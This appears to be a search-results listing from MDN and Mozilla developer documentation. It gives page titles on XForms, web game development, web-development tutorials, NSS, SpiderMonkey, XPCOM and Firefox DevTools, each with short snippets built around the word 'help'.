xforms-revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-previous supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint supported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.4 notification events supported 4.4.1 xforms-insert supported ...
... 297083; 343443; 8.3.4 help supported 8.3.5 hint partial problems with hints in xul-hosted documents and ephemeral message positioning 349667; 8.3.6 alert supported 9.
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
the xforms team looks at votes to help determine which bug is more important for our xforms users.
... custom controls if you have a custom control that you believe will help fulfill the needs of form authors or other custom controls authors, please file it here.
Mozilla XForms User Interface - Archive of obsolete content
help specifies contextual help for the containing form control (see the spec).
... the help will be displayed if the f1 key is pressed while the containing form control has focus.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
like the engineers, standardization also helps the qa engineers become highly proficient and capable of shifting from project to project.
...adopting standards will not only help an organizations end users enjoy a cross application experience; organizations will help themselves by giving development and quality assurance engineers the tools to become better equipped and flexible.
Archive of obsolete content
they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko.
...we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.
Index - Game development
as with any other 3d library it provides built-in functions to help you implement common 3d functionality more quickly.
... 70 2d maze game with device orientation canvas, device orientation api, game development, html5, phaser, vibration api i hope this tutorial will help you dive into 2d game development and inspire you to create awesome games on your own.
Introduction to game development for the Web - Game development
let's look at how the web can help you.
...also useful to help make your game playable even when the user isn't connected to the web (such as when they're stuck on an airplane for hours on end).
Game monetization - Game development
sometimes it works, but only if the player knows you and feels that it will help you in your situation.
...it worked with the js13kgames competition — every participant got a free t-shirt, and some even gave back a few bucks to help keep it going in years to come.
Audio for Web games - Game development
the htmlmediaelement interface comes with lots of properties to help determine whether a track is in a state to be playable.
...there's a tutorial here to help understand the pannernode in better detail.
Unconventional controls - Game development
previous overview: control mechanisms having different control mechanisms in your game helps reach broader audiences.
... we will need a few helper variables for our code to work — one for the purpose of calculating the degrees from radians, two for holding the horizontal and vertical amount of degrees our hand is leaning above the controller, one for the threshold of that lean, and one for the state of our hand's grab status.
Square tilemaps implementation: Static maps - Game development
gettile(): a helper method that gets the tile index in a certain position.
...in these examples, empty tiles will be represented by index 0, so we will shift the indices of the atlases by one (and thus the first tile of the atlas will be assigned index 1, the second index 2, etc.) the gettile() helper method returns the tile contained at the specified column and row.
Randomizing gameplay - Game development
it's a basic intro scratching the surface of the countless helpful methods that phaser provides.
... be sure to check the ever growing list of examples and the official documentation, and visit the html5 gamedevs forums if you ever need any help.
2D breakout game using Phaser - Game development
you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states.
...frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff.
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
advantages of data abstraction helps the user to avoid writing low level code.
... helps to increase security of an application or program as only important details are provided to the user.
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
this type of navigation, if done correctly, helps users know where they are in a site and how they got there.
... they can also help a user get back to where they were before and can reduce the number of clicks needed to get to a higher-level page.
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
example this example will help you understand that primitive values are immutable.
... another example [ step-by-step ] the following example will help you go through how javascript deals with primitives.
Site map - MDN Web Docs Glossary: Definitions of Web-related terms
structured listings of a site's page help with search engine optimization, providing a link for web crawlers such as search engines to follow.
... site maps also help users with site navigation by providing an overview of a site's content in a single glance.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
overall it can be observed these threads within our operating system are extremely helpful.
... they help minimise the context switching time, enables more efficient communication and allows further use of the multiprocessor architecture.
Accessibility - Learn web development
to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
...wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
Grids - Learn web development
they help us to create designs where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites.
...sometimes it is helpful to be able to ask grid to create as many columns as will fit into the container.
Introduction to CSS layout - Learn web development
the rest of this guide covers other layout methods, which are less important for the main layout structures of your page but can still help you achieve specific tasks.
...understanding positioning also helps in understanding normal flow, and what it is to move an item out of normal flow.
Beginner's guide to media queries - Learn web development
testing for orientation can help you to create a layout which is optimised for devices in portrait mode.
... using pointer can help you to design better interfaces that respond to the type of interaction a user is having with a screen.
Responsive design - Learn web development
it is an idea that changed the way we design for a multi-device web, and in this article, we'll help you understand the main techniques you need to know to master it.
... it has also become much easier to achieve responsive designs with the help of the layout methods you have learned in these lessons.
CSS layout - Learn web development
at the end of the lessons is an assessment to help you check your understanding of layout methods, by laying out a webpage.
...it is an idea that changed the way we design for a multi-device web, and in this article we'll help you understand the main techniques you need to know to master it.
Publishing your website - Learn web development
generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features).
... to learn more, see github pages help.
Document and website structure - Learn web development
in your html code, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." as we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.
...all rights reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the comments inside the code should also help you to understand it.
Multimedia and Embedding - Learn web development
responsive images in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
... this helps to improve performance across different devices.
Graceful asynchronous programming with Promises - Learn web development
the trouble with callbacks to fully understand why promises are a good thing, it helps to think back to old-style callbacks and to appreciate why they are problematic.
... chaining the blocks together this is a very longhand way of writing this out; we've deliberately done this to help you understand what is going on clearly.
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
but it can also just help keep your code tidy, especially if the timeout callback is more than a few lines of code.
...this will help to avoid confusion.
Introduction to events - Learn web development
we are not expecting you to understand all of these areas now, but it certainly helps to understand the basics of events as you forge ahead with learning web development.
... if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.
Function return values - Learn web development
note: if you have trouble getting the example to work, feel free to check your code against the finished version on github (see it running live also), or ask us for help.
... if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.
Fetching data from the server - Learn web development
enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above.
... some helpful hints: you might find the xmlhttprequest reference material useful.
Object-oriented JavaScript for beginners - Learn web development
we say simplistic, because oop can quickly get very complicated, and giving it a full treatment now would probably confuse more than help.
...i\'m ' + this.name + '.'); } }); using the create() method constructors can help you give your code order—you can create constructors in one place, then create instances as needed, and it is clear where they came from.
JavaScript — Dynamic client-side scripting - Learn web development
start by working through the following modules: getting started with the web introduction to html introduction to css having previous experience with other programming languages might also help.
...the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.
Properly configuring server MIME types - Learn web development
mime types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed.
... if the media type is displayed using a plug-in in netscape gecko, install the plug-in and then look in the help->about plug-ins menu to see what mime types are associated with the media type.
Introduction to the server side - Learn web development
note: client-side frameworks are often used to help speed up development of client-side code, but you can also choose to write all the code by hand; in fact, writing your code by hand can be quicker and more efficient if you only need a small, simple web site ui.
... in a future article we'll help you choose the best web framework for your first site.
Introduction to client-side frameworks - Learn web development
this shared ecosystem of libraries helped shape the growth of the web.
... the state of javascript survey is a helpful collection of feedback from javascript developers.
Componentizing our Svelte app - Learn web development
it will help you understand how they relate to each other, it will promote reuse, and it will make your code easier to reason about, maintain, and extend.
... both approaches should complement each other, and help you decide how to better organize your components.
Getting started with Svelte - Learn web development
moreover, with the help of sapper (a framework based on svelte), you can also develop applications with advanced features like server-side rendering, code splitting, file-based routing and offline support.
...if you want to share an idea, ask for help, or report an issue, it's always extremely useful to create a repl instance demomstrating the issue.
Working with Svelte stores - Learn web development
give it the following content: import { writable } from 'svelte/store'; export const localstore = (key, initial) => { // receives the key of the local storage and an initial value const tostring = (value) => json.stringify(value, null, 2) // helper function const toobj = json.parse // helper function if (localstorage.getitem(key) === null) { // item not present in local storage localstorage.setitem(key, tostring(initial)) // initialize local storage with initial value } const saved = toobj(localstorage.getitem(key)) // convert to object const {...
... we use the localstorage.getitem(key) and localstorage.setitem(key, value) methods to read and write information to web storage, and the tostring() and toobj() (which uses json.parse()) helper functions to convert the values.
Getting started with Vue - Learn web development
this will help us catch common errors, but not be overly opinionated.
...these small blocks can help you reason about and test your code.
Rendering a list of Vue components - Learn web development
to help vue optimize rendering the elements in the list, it tries to patch list elements so it's not recreating them every time the list changes.
... however, vue needs help.
Vue resources - Learn web development
studying the vue source code can help you better understand how the framework works, and write better code.
... vue forum — the official forum for getting help with vue.
Styling Vue components with CSS - Learn web development
to help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel.
...this will help improve the spacing of our to-do items a bit.
Introduction to automated testing - Learn web development
fortunately, there are tools to help us automate some of this pain away.
... help (question mark) — accesses help/support functions.
Strategies for carrying out testing - Learn web development
browser support stats one helpful measure you can call on to inform your browser testing choices is browser support stats.
...ubuntu's installer makes this quite easy to set up; see windowsdualboot for help with this.
Setting up your own test automation environment - Learn web development
note: the help button on lambdatest automation dashboard will provide you with an ample amount of information to help you get started with lambdatest automation.
...since you are using these twice now, you may want to create a couple of helper variables to store them in.
Git and GitHub - Learn web development
you need to have some kind of mechanism in place to manage the occurences, and help avoid loss of work as a result.
...eventually we will are aiming to have our own dedicated git/github course, but for now, these will help you get to grips with the subject in hand.
Testopia
anyone wishing to help in this effort is more than welcome.
... links faq wiki docs bugs (please read the bug reporting guide) official testopia blog irc: #testopia or #bugzilla user help support-webtools@lists.mozilla.org developers dev-apps-webtools@lists.mozilla.org downloads download 2.5 (bugzilla 4.2) download 2.4 (bugzilla 3.6 and 4.0) archived versions developers greg hendricks vance baarda (former developer) ed fuentetaja (former developer) ...
Continuous Integration
this document will help you understand all the pieces that comprise mozilla's continuous integration systems.
... for a full list of job types, see the help menu in treeherder's upper-right corner.
Debugging on Windows
automatically handling assertions without a debugger attached when an assertion happens and there is not a debugger attached, a small helper application (windbgdlg.exe) is run.
... you can use helper functions from nsxpconnect.cpp to inspect and modify the state of javascript code from the msvs debugger.
Experimental features in Firefox
nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering.
... nightly 81 yes developer edition — — beta — — release — — preference name — security and privacy block plain text requests from flash on encrypted pages in order to help mitigate man-in-the-middle (mitm) attacks caused by flash content on encrypted pages, a preference has been added to treat object_subrequests as active content.
Index
168 performance best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... 172 security best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.
Firefox
you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineersthis guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacythis document lists privacy-related documentation.security best practices for firefox front-end engineersthis article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit.
Gecko Keypress Event
this behavior helps the internationalization of web applications that have custom shortcut keys.
...of course, this is not much help to users with other keyboard layouts.
Script security
however, javascript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content.
... from the point of view of chrome code, the script security model in gecko is intended to provide that help to make writing secure, system-privileged javascript a realistic expectation.
How to add a build-time test
writing a test is good, but it is even more helpful if that test gets executed.
... we have various automation tools that help make this possible.
How to get a process dump with Windows Task Manager
introduction when tracking down the causes of process hangs, it is often helpful to obtain a process dump while the process is experiencing a hang.
...please ask for help doing this!
JavaScript Tips
when passing an object to an xpcom method it is helpful if the object you pass is an xpcom object, so that the c++ method access a c++ object.
...however, in javascript this is quite simple even in the case of a weak reference which in c++ requires a helper class: var weakobserver = { queryinterface: function queryinterface(aiid) { if (aiid.equals(components.interfaces.nsiobserver) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, observe: function observe(asubject, atopic, astate) { } } ...
JavaScript code modules
fileutils.jsm provides helpers for dealing with files.
... netutil.jsm provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.
Bootstrapping a new locale
in mozilla, we use the the mercurial version control system (hg) to help manage our localizations.
... the l10n-drivers will help set up an experimental hg repository in bit bucket.
Index
this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
...the localizable data fields of an extension are: 23 localizing with koala this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
Localizing with Pontoon
translation helpers as you can see, suggestions from history, translation memory, machine translation and other locales are also available in the out-of-context translation panel.
... we call all of these translation helpers and here's how each of them will help you as you translate strings: history displays previously suggested translations, including from other users.
Localization sign-off reviews
each qa review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application.
...using these colors helps us to identify potential bugs and approve your latest revision with speed while maintaining critical accuracy.
Creating localizable web applications
might be also helpful for headers and footers, if you're not using templates to display them.
... use gettext comments use comments in the code to help localizers understand what they are translating.
Power profiling overview
nonetheless, they can still help improve understanding of a problem by using differential profiling.
...looking at other measurements (c-state residency, gpu usage, etc.) may be helpful.
Profiling with Instruments
official apple documentation instruments user guide instruments user reference instruments help articles instruments help performance overview basic usage select "time profiler" from the "choose a profiling template for:" dialog.
...the call tree view can be quite helpful here.
Profiling with the Firefox Profiler
description of all available environment variables may be printed by starting firefox with moz_profiler_help=1 set.
...these add raii helpers, which are used by the profiler to track entries/exits of the annotated functions.
Refcount tracing and balancing
refcount balancing is a follow-up step that analyzes the resulting log to help a developer figure out where refcounting went wrong.
...this can help remove some of the clutter from an otherwise noisy tree.
about:memory
if you find any particular tree overwhelming, it can be helpful to collapse all the sub-trees immediately below the root, and then gradually expand the sub-trees of interest.
...graphics is often a source of high memory usage, and so these measurements can be helpful for detecting such cases.
Productization guide
for example, putting one sample news feed on the bookmarks toolbar in new profiles in firefox helps in learning about the live bookmarks.
... including a couple of search engines instead of one in the search toolbar can help users understand that they can add as many plug-ins as they wish.
A guide to searching crash reports
this guide to searching through crash reports may help you locate the crash reports that will help you find and fix the firefox bug you're working on.
...this is helpful if you have a fairly generic signature and you want to see how many of them are a particular case of it that you've come across.
L20n
l20n syntax cheatsheet for developers a simple cheatsheet to help developers as they add l20n to their localization infrastructure.
... l20n syntax cheatsheet for localizers a simple cheatsheet to help localizers as they localize projects with l20n.
Anonymous Shared Memory
in the first protocol, the job of passing the inheritable shared memory is done via helper-functions with pr_createprocess.
...nspr provides helper functions for extracting data from the prfilemap object.
NSS_3.12_release_notes.html
bug 217538: softoken databases cannot be shared between multiple processes bug 294531: design new interfaces for certificate path building and verification for libpkix bug 326482: nss ecc performance problems (intel) bug 391296: need an update helper for shared databases bug 395090: remove duplication of pkcs7 code from pkix_pl_httpcertstore.c bug 401026: need to provide a way to modify and create new pkcs #11 objects.
...bug 406647: libpkix does not use user defined revocation checkers bug 407064: pkix_pl_ldapcertstore_buildcrllist should not fail if a crl fails to be decoded bug 421216: libpkix test nss_thread leaks a test certificate bug 301259: signtool usage message is unhelpful bug 389781: nss should be built size-optimized in browser builds on linux, windows, and mac bug 90426: use of obsolete typedefs in public nss headers bug 113323: the first argument to pk11_findcertfromnickname should be const.
NSS 3.35 release notes
below, are explanations that could be helpful for environments that need to adopt to the new default.
... cn = dst aces ca x6 sha-256 fingerprint: 76:7c:95:5a:76:41:2c:89:af:68:8e:90:a1:c7:0f:55:6c:fd:6b:60:25:db:ea:10:41:6d:7e:b6:83:1f:8c:40 subject cn = verisign class 3 secure server ca - g2 sha-256 fingerprint: 0a:41:51:d5:e5:8b:84:b8:ac:e5:3a:5c:12:12:2a:c9:59:cd:69:91:fb:b3:8e:99:b5:76:c0:ab:da:c3:58:14 this intermediate cert had been directly included to help with transition from 1024-bit roots per bug #1045189.
nss tech note4
(rv == secsuccess) { sec_asn1decodercontext * context = sec_asn1decoderstart(null, &data, mycertexttemplate); rv = sec_asn1decoderupdate( context, (const char *)(myextvalue.data), myextvalue.len); if (rv == secsuccess) { /* now you can extract info from secitem fields of your extension data structure */ /* see "misc helper functions" below */ .......
... secitem_freeitem(&data.maxusers, pr_false); } } some miscellaneous helper functions compare two secitems (e.g., two oids) prbool secitem_itemsareequal(const secitem *a, const secitem *b); interpreting a secitem value as an integer if secitem *item->len <=4, then int value = der_getinteger(item); interpreting a secitem value as a string use string copy functions to copy item->len bytes from item->data and null terminate explicitly some higher level extension function...
sslfnc.html
if you are inclined to help with this migration, your help would be very much appreciated.
...this may be helpful if you have an export license that permits more or fewer capabilities than those allowed by the other export policy functions.
sslintro.html
if you are inclined to help with this migration, your help would be very much appreciated.
... callbacks and helper functions allow you to specify such things as how authentication is accomplished and what happens if it fails.
Renaming With Pork
thus it is helpful to postprocess the patch with sed and filterdiff.
...--dry-run is helpful for debugging filterdiff -x \*/smbase/\* /tmp/string.diff |sed 's/.home.tglek.tmp.//' | patch -p1 --dry-run ...
Rhino shell
help() executing the help function will print usage and help messages.
...uncommand("sort", {input: "c\na\nb"}) a b c 0 js> // demo of output and err options js> var opt={input: "c\na\nb", output: 'sort output:\n'} js> runcommand("sort", opt) 0 js> print(opt.output) sort output: a b c js> var opt={input: "c\na\nb", output: 'sort output:\n', err: ''} js> runcommand("sort", "--bad-arg", opt) 2 js> print(opt.err) /bin/sort: unrecognized option `--bad-arg' try `/bin/sort --help' for more information.
How to embed the JavaScript engine
*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const char *argv[]) { jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
... "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, nullptr, nullptr, nullptr, nullptr, js_globalobjecttracehook }; int main(int argc, const char *argv[]) { js_init(); jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
64-bit Compatibility
to help form well-typed lir, there is a special opcode called lir_float which specifies that the associated constant value is definitely floating-point.
... there are three helper functions in lirwriter: ins_i2p() - on 32-bit platforms, does nothing.
Tracing JIT
if the recorder is asked to record a bytecode that implies a call to a native function elsewhere in spidermonkey -- some helper function written in c -- and that native happens to re-enter the interpreter to interpret yet more bytecode, and furthermore if that bytecode itself contains a hot pc that has not yet been traced, the trace monitor may be asked to begin nested recording.
... some other terminology may be helpful when reading the code: the term guard denotes a condition that is checked by an executing trace to confirm that some assumptions made during recording still hold.
Self-hosted builtins in SpiderMonkey
using the same mechanism, c++-implemented helper functions are made available to self-hosted code.
... the file utilities.js provides some additional, js-implemented helper functions.
JS::CallArgs
this article covers features introduced in spidermonkey 17 helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.
... description js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.
Running Automated JavaScript Tests
see the full list in the -h / --help output.
... one helpful option specific to jit-tests is -r filename (or --retest filename).
compare-locales
compare-locales is a python script that helps localizers to check their work without running firefox or another application.
... options to get a brief list of available options, use the --help flag: $ compare-locales --help the output the output of compare-locales shows the missing and obsolete strings in a pseudo-diff format.
Exploitable crashes
this article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.
...if you need help with any of the steps (e.g.
Pinning violation reports
public key pinning helps ensure that people are connecting to the sites they intend.
...doing this can help us to make the web safer.
Gecko events
is supported: yes event_help_change an object's help has changed.
... is supported: no event_movesize_end the movement or resizing of a window has finished is supported: no event_contexthelp_start a window has entered context-sensitive help mode is supported: no event_contexthelp_end a window has exited context-sensitive help mode is supported: no event_dragdrop_start an application is about to enter drag-and-drop mode is supported: yes event_dragdrop_end an application is about to exit drag-and-drop mode is supported: no event_dialog_start a dialog box has been displayed i...
AT APIs Support
k-meleon - light, ultra-fast and more advanced (fully configurable) gecko-based web browser available on the windows platform on linux/unix platform yelp help viewer - the help viewer in gnome evolution email - provides integrated mail, addressbook and calendaring functionality to users of the gnome desktop.
...as well you might find helpful the about:accessibilityenabled firefox extension.
XForms Accessibility
help specifies contextual help for the containing form control (see the spec, the docs).
... the help element has role_alert role.
XPCOM array guide
MozillaTechXPCOMGuideArrays
void notifyobservers(nsiarray* aarray) { pruint32 length; aarray->getlength(&length); for (pruint32 i=0; i<length; ++i) { nscomptr<nsimyobserver> element; aarray->queryelementat(i, ns_get_iid(nsielement), getter_addrefs(element)); element->observe(); } } a simpler option is to use the helper do_queryelementat which is typesafe.
...there are also corresponding enumerators and helpers for utf8 strings.
An Overview of XPCOM
but xpcom also provides several tools and libraries that enable the loading and manipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application.
... in xpcom, in addition to the component support and management, there are a number of services that help the developer write cross platform components.
Component Internals
instead of asking every developer to find and copy these various files into their own application, xpcom provides a single library of "not-ready-to-freeze-but-really-helpful" classes that you can link into your application, as the following figure demonstrates.
... the string classes that implement these abstract classes are another set of helpful, unfrozen classes in xpcom.
Components.utils.Sandbox
this helps to improve memory usage by allowing sandboxes to be discarded when that zone goes away.
... wantexporthelpers a boolean: if true, then createobjectin(), evalinwindow(), and exportfunction() are available in the sandbox.
NS_ConvertUTF16toUTF8
class declaration a helper class that converts a utf-16 string to utf-8 method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercase...
... methods constructors void ns_convertutf16toutf8(const prunichar*) - source a helper class that converts a utf-16 string to utf-8 parameters prunichar* astring void ns_convertutf16toutf8(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_convertutf16toutf8(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautost...
NS_LossyConvertUTF16toASCII
class declaration a helper class that converts a utf-16 string to ascii in a lossy manner method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsa...
... methods constructors void ns_lossyconvertutf16toascii(const prunichar*) - source a helper class that converts a utf-16 string to ascii in a lossy manner parameters prunichar* astring void ns_lossyconvertutf16toascii(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_lossyconvertutf16toascii(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - ...
nsIAccessible
descriptions nsiaccessible.description and nsiaccessible.help provides additional text information about accessible.
... help help text associated with node.
nsIDOMHTMLSourceElement
type domstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it.
... media unimplemented domstring the media attribute gives the intended media type of the media resource, to help the user agent determine if this media resource is useful to the user before fetching it.
nsIMessenger
if set to true the attachment is opened inside the message pane which in turn should trigger the helper app dialog.
...if set to true the attachment is opened inside the message pane which in turn should trigger the helper app dialog.
nsIPropertyBag
goodies obtained from window.navigator are: appcodename:"mozilla" appname:"netscape" appversion:"5.0 (windows)" battery:batterymanager buildid:"20140529161749" cookieenabled:true donottrack:"yes" geolocation:geolocation language:"en-us" mimetypes:mimetypearray mozalarms:null mozapps:xpcwrappednative_nohelper mozcameras:cameramanager mozconnection:mozconnection mozcontacts:contactmanager mozid:null mozkeyboard:xpcwrappednative_nohelper mozpay:null mozpermissionsettings:null mozphonenumberservice:phonenumberservice mozpower:mozpowermanager moztcpsocket:null online:true oscpu:"windows nt 5.1" platform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt ...
...services.appinfo.os simply tells us winnt only, this is not helpful to differentiate between windows xp, vista, 7, etc.
Frequently Asked Questions
this section will help you if you're fixing a broken build, or have what you think is a quick obvious question, and you don't have time to read the reference manual.
... the faq is divided into sections to help you find what you're looking for faster.
The Valgrind Test Job
if you need help or experience problems if you need help with the valgrind test job, please contact nicholas nethercote or gary kwong.
... julian seward can also help with valgrind issues.
MailNews fakeserver
the server provides the following api to xpcshell tests: <caption> nsmailserver xpcshell api </caption> name arguments returns description performtest none nothing runs until the test is forcibly aborted or stopped normally isstopped none if the server is stopped helper for performtest istestfinished none if the test is finished helper for performtest playtransaction none the transaction the transaction is an object with two properties: us, and them; us is an array of responses we sent, them an array of commands received resettest none nothing prepares the server for the next test without closing the connection start port number nothing starts the serv...
...there are added in alphabetical order, which may help for purposes that rely on article key orders.
Thunderbird Binaries
if you wish to download nightly builds to help us test for the next release, please read the testing page for where we need help.
... distinguishing between different nightly builds the main way you can determine if you are using a trunk or branch build is to click the "help" menu and choose "about".
Activity Manager examples
nt 1.) //optional: define some convenience constants const nsactprocess = components.constructor("@mozilla.org/activity-process;1", "nsiactivityprocess", "init"); const nsactevent = components.constructor("@mozilla.org/activity-event;1", "nsiactivityevent", "init"); // step 1: implement nsiactivitycontextdisplayhelper to show a // customized display text for our context type function sendercontextdisplayhelper() { // user stuff here..
... } sendercontextdisplayhelper.prototype = { getcontextdisplaytext: function(contexttype, contextobj) { // in this particular example we know that contexttype is "sender" // since we also pass the contexttype along with the contextobject // in some cases, one helper can be registered for a group of context types // we know that the context object is the author of the message // localization is omitted return "messages coming from " + contextobj.surname + ", " + contextobj.firstname; } } // step 2: register the helper for this context type gactivitymanager.registercontextdisplayhelper("sender", new sendercontextdisplayhelper()); // step 3: create the process ...
Access Thunderbird Window Areas
to access particular parts of the thunderbird window you can use these helper methods.
... var foldertree = getfoldertree(); var searchinput = getsearchinput(); var messagepane = getmessagepane(); var messagepaneframe = getmessagepaneframe(); var mailtoolbox = getmailtoolbox(); var currentmsgfolder = getloadedmsgfolder(); see the msgmail3panewindow.js for other helper methods ...
URLs - Plugins
nethelp displays a nethelp topic in a nethelp window.
...for some recommendations to help you with target parameter choice, see the reference entry for npn_geturl.
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated.
...web developers need to know their pages’ actual memory consumption on real browsers, so it is correct for the tool to expose these behaviors, as long as it is done in a way that helps developers make decisions about their own code.
Edit Shape Paths in CSS - Firefox Developer Tools
the shape path editor is a tool that helps you see and edit shapes created using clip-path and also the css shape-outside property and <basic-shape> values.
... understanding the lines drawn by the editor once you have selected a shape on your page, the shape path editor will draw lines to help you understand the path that is being created.
Sorting algorithms comparison - Firefox Developer Tools
swap() helper function for bubblesort() and selectionsort().
... partition() helper function for quicksort().
Waterfall - Firefox Developer Tools
the animating css properties article shows how animating different css properties can give different performance outcomes, and how the waterfall can help signal that.
... to help reduce the length of pauses, spidermonkey implements incremental gc: this means that it can perform garbage collection in fairly small increments, letting the program run in between.
Taking screenshots - Firefox Developer Tools
taking screenshots with the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in firefox 62 you can use the :screenshot helper function in the web console.
... note: thanks to eric meyer for his enthusiasm for our screenshot feature, and help!
Tips - Firefox Developer Tools
help opens the mdn page describing the available commands.
...see web console helpers for all parameters.
Console messages - Firefox Developer Tools
security the security messages shown in the web console help developers find potential or actual vulnerabilities in their sites.
... additionally, many of these messages help educate developers because they end with a “learn more” link that takes you to a page with background information and advice for mitigating the issue.
ArrayBufferView - Web APIs
arraybufferview is a helper type representing any of the following javascript typedarray types: int8array, uint8array, uint8clampedarray, int16array, uint16array, int32array, uint32array, float32array, float64array or dataview.
... this is a helper type to simplify the specification; it isn't an interface, and there are no objects implementing it.
Background Tasks API - Web APIs
because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to prevent stalls in the execution of the event loop.
...window.requestidlecallback() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to tell your code how much time it can safely use without causing the system to lag.
Advanced animations - Web APIs
